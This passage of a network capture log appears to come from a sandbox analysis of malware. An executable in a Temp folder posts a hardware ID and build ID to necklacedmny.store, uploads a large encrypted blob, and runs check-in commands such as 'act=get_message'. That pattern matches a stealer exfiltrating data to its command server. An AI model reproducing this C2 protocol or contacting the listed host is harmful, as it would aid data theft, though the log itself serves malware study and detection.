2024-11-01 02:46:25 UTC	1027	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gpfthqb7grha2esf6r1dcdhdmu; expires=Mon, 24-Feb-2025 20:33:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OYqY7jryubwzLJKLx%2BzyjXW%2BKMpjQ0BmOX8KmAcQ3T%2BafCSUZ5AlSVLhUr1%2Bf1w50%2Bl9pPiS7TmEceAbW0pJ1HDDBluiF5KP99gI%2F4KYgYBquc48l4rN9s%2FQY6yw%2Bhv9xKD27gw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88de44b0beb33-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1311&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=2188964&cwnd=244&unsent_bytes=0&cid=1350095955ece7ee&ts=883&x=0"
2024-11-01 02:46:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	58534	188.114.97.3	443	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:26 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1255 Host: necklacedmny.store
2024-11-01 02:46:26 UTC	1255	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:27 UTC	1010	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cnk911iak4aotjbfp072b7rfoq; expires=Mon, 24-Feb-2025 20:33:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OcR8DnneHI85wkF50bu9ABuap1sJ9tbNl59TS3%2BIfcDhOF5zHh2DO9v9rN1huxIZ8BjYM5JQWyM0tYQUnvNQq2KEPK5M8K0yGD5nA9IBMmD9AXlkmzvJALy5xUicjrWh2W7PN5g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88df1ed3f2cc1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2209&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2174&delivery_rate=1286539&cwnd=247&unsent_bytes=0&cid=c41bb7f4d2d09cba&ts=509&x=0"
2024-11-01 02:46:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	58538	188.114.97.3	443	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:29 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565776 Host: necklacedmny.store
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: 16 5d 78 9f ac 89 4b 40 71 4a 84 53 2c e9 18 e2 5c 72 f8 b1 cc 47 94 a6 49 74 73 56 66 84 31 36 72 a6 6a 92 6f c3 bc 45 85 ac 3c 3e 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 Data Ascii: ]xK@qJS,\rGItsVf16rjoE<>V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|*47H2Q0,0Mtm u`/2$woXpEo4
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: 83 23 22 79 a7 88 e5 d9 85 f9 9e f9 ca f5 8e 42 eb 83 7c 64 fd 13 d6 aa b5 02 92 5e 3f ca da c3 f0 03 e6 1b c7 6e f7 73 9f c0 04 66 fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c Data Ascii: #"yB\|d^?nsf@KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: af 12 d3 f5 3c 8f 03 74 b8 35 8f 0f 5d da 16 d7 43 6f ee f7 af 0f f2 f2 df fa 13 0f a7 cd dc a2 df b4 e0 4b 5f bf 7f 5c f3 45 31 38 c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 Data Ascii: <t5]CoK_\E18PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I)
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: 5b 9b 37 28 c6 f6 df 34 8f 63 5a 60 86 76 f5 27 ac 66 04 1f 60 6d 68 ce 03 e4 1b 84 44 c1 eb 76 6d 43 cd 55 bf 09 5f 55 47 64 ed 42 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 Data Ascii: [7(4cZ`v'f`mhDvmCU_UGdBux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:V
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: a9 81 d9 e2 64 8b 08 21 b1 6b ee 1a 3d 42 ab 5d 4c 5f cf 8c 4c 84 f1 ec 5e d4 b1 86 8f 7e 49 ba 9a ee f5 0b 1e 2f b2 ac 94 e9 01 a0 c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 Data Ascii: d!k=B]L_L^~I/KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: 67 82 75 46 39 35 2a c8 43 47 a0 da b6 ba 39 22 cb fb 04 65 39 9c 63 c8 f2 0e 44 39 00 dd 47 ad 0b e3 fc c4 0a 48 6a 04 dd e0 6e 50 e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e Data Ascii: guF95CG9"e9cD9GHjnPsPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}nC;jy)PYz;N}
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: d2 4a ce 47 f9 03 44 30 aa fa eb 27 6b 5f 7d be 85 6e fd d5 ba 8a ca 01 5d 65 d8 8b b7 fc 39 68 57 e4 8b 55 13 2d de 1c 22 7b ae de 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 Data Ascii: JGD0'k_}n]e9hWU-"{}tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: 0d 8f 98 3e b1 6a e3 49 6d 97 60 db e8 8b 57 eb 1e f2 d8 d2 6f e3 71 44 e4 a0 cf 7b c3 3c 38 24 80 f7 6d d9 66 e1 21 5b 1a 25 09 ae 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a Data Ascii: >jIm`WoqD{<8$mf![%o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ
2024-11-01 02:46:29 UTC	15331	OUT	Data Raw: b9 66 a3 d7 f4 fd 6f 86 3b 8b 98 29 28 4d a1 59 df bd 0f c2 27 8e 30 41 d8 4e 71 35 d6 eb 87 90 2d c9 36 c1 4b bd 06 05 6b 30 31 a5 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc Data Ascii: fo;)(MY'0ANq5-6Kk013z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~j
2024-11-01 02:46:31 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2k6ube0k3fgh8i1j048cn289ns; expires=Mon, 24-Feb-2025 20:33:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fKb4KA5nFJXZvSUH6yBjDBDLfsp7w3RQ3EB72LI99fSIFW8gWW4Q3vFx1TGkd1ZMQwPiSUNWS8gmf18a3m%2FzzRJnUBveDN13MWO3%2F7pa7udR5P0x0xdggmtMnGOgQOAfEEQ6zBU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e01bd32476a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1087&sent=213&recv=605&lost=0&retrans=0&sent_bytes=2846&recv_bytes=568303&delivery_rate=2630336&cwnd=251&unsent_bytes=0&cid=1ee434f832940040&ts=1808&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	58539	188.114.97.3	443	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:31 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 02:46:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 02:46:31 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=03etkqrptar6c0s8l0io8u1kkt; expires=Mon, 24-Feb-2025 20:33:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zsZ75xv1E984wMkRy5JS9X4b1uoyYDbPyXHgOoXlLy8%2FuptV8nGslEUDMLw7y0G79RYGckD1%2FslIHP4M03TU%2F7wbLqQp%2F3a0z994Qy2LkuTqZz0lyr%2Be3RPd8HlV1nU8OATHA%2Fs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e0d58b12e57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1282&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2197268&cwnd=246&unsent_bytes=0&cid=7d97b38ee6fa99a7&ts=1091&x=0"
2024-11-01 02:46:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 02:46:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	58540	188.114.97.3	443	5884	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 02:46:31 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5560522AED40BC223A70EF3DCABDFD84
2024-11-01 02:46:32 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ho0gcthnrtj3n61i6rcc87f1fd; expires=Mon, 24-Feb-2025 20:33:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fEXz5PcaesPQC6rUGDkJLi14mNtasJtbeCMNm7ikgrkWwqv2Viq6nZo7teTqzw6XBOsm8K5QUiRPci81aVbKgWmqXo4nRduh5zGNzuQCHaoyzQuFw%2FQbMfCRvgZ7CayAi99Zi%2Fw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e1139234802-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1891&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=1532275&cwnd=250&unsent_bytes=0&cid=13c294fc419a6111&ts=338&x=0"
2024-11-01 02:46:32 UTC	214	IN	Data Raw: 64 30 0d 0a 73 59 38 66 39 65 42 50 77 4a 6a 78 32 52 68 79 38 70 6c 44 38 61 32 79 35 69 38 36 64 75 7a 6b 74 44 55 54 7a 67 72 4a 66 36 6e 71 39 44 32 41 77 6e 58 69 38 49 57 74 61 45 69 75 74 68 2f 65 6e 49 72 54 41 51 68 48 32 63 71 46 42 43 44 67 4f 2f 38 6a 68 74 37 70 65 61 6e 50 4b 36 58 2b 33 37 78 67 46 39 43 31 59 5a 66 5a 6b 4e 77 66 46 6c 53 4a 78 6f 34 46 62 75 4a 78 36 77 71 4c 69 36 31 33 67 5a 51 2f 2b 73 54 65 68 54 64 44 79 71 78 74 77 35 79 48 79 42 34 4c 52 63 4c 56 67 6d 6b 38 6f 32 4f 6e 47 76 57 65 2f 58 36 62 68 43 43 74 74 70 53 68 66 56 44 65 75 79 57 46 6a 34 6a 57 41 78 67 54 7a 74 36 45 53 45 34 3d 0d 0a Data Ascii: d0sY8f9eBPwJjx2Rhy8plD8a2y5i86duzktDUTzgrJf6nq9D2AwnXi8IWtaEiuth/enIrTAQhH2cqFBCDgO/8jht7peanPK6X+37xgF9C1YZfZkNwfFlSJxo4FbuJx6wqLi613gZQ/+sTehTdDyqxtw5yHyB4LRcLVgmk8o2OnGvWe/X6bhCCttpShfVDeuyWFj4jWAxgTzt6ESE4=
2024-11-01 02:46:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	58541	188.114.97.3	443	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 02:46:32 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
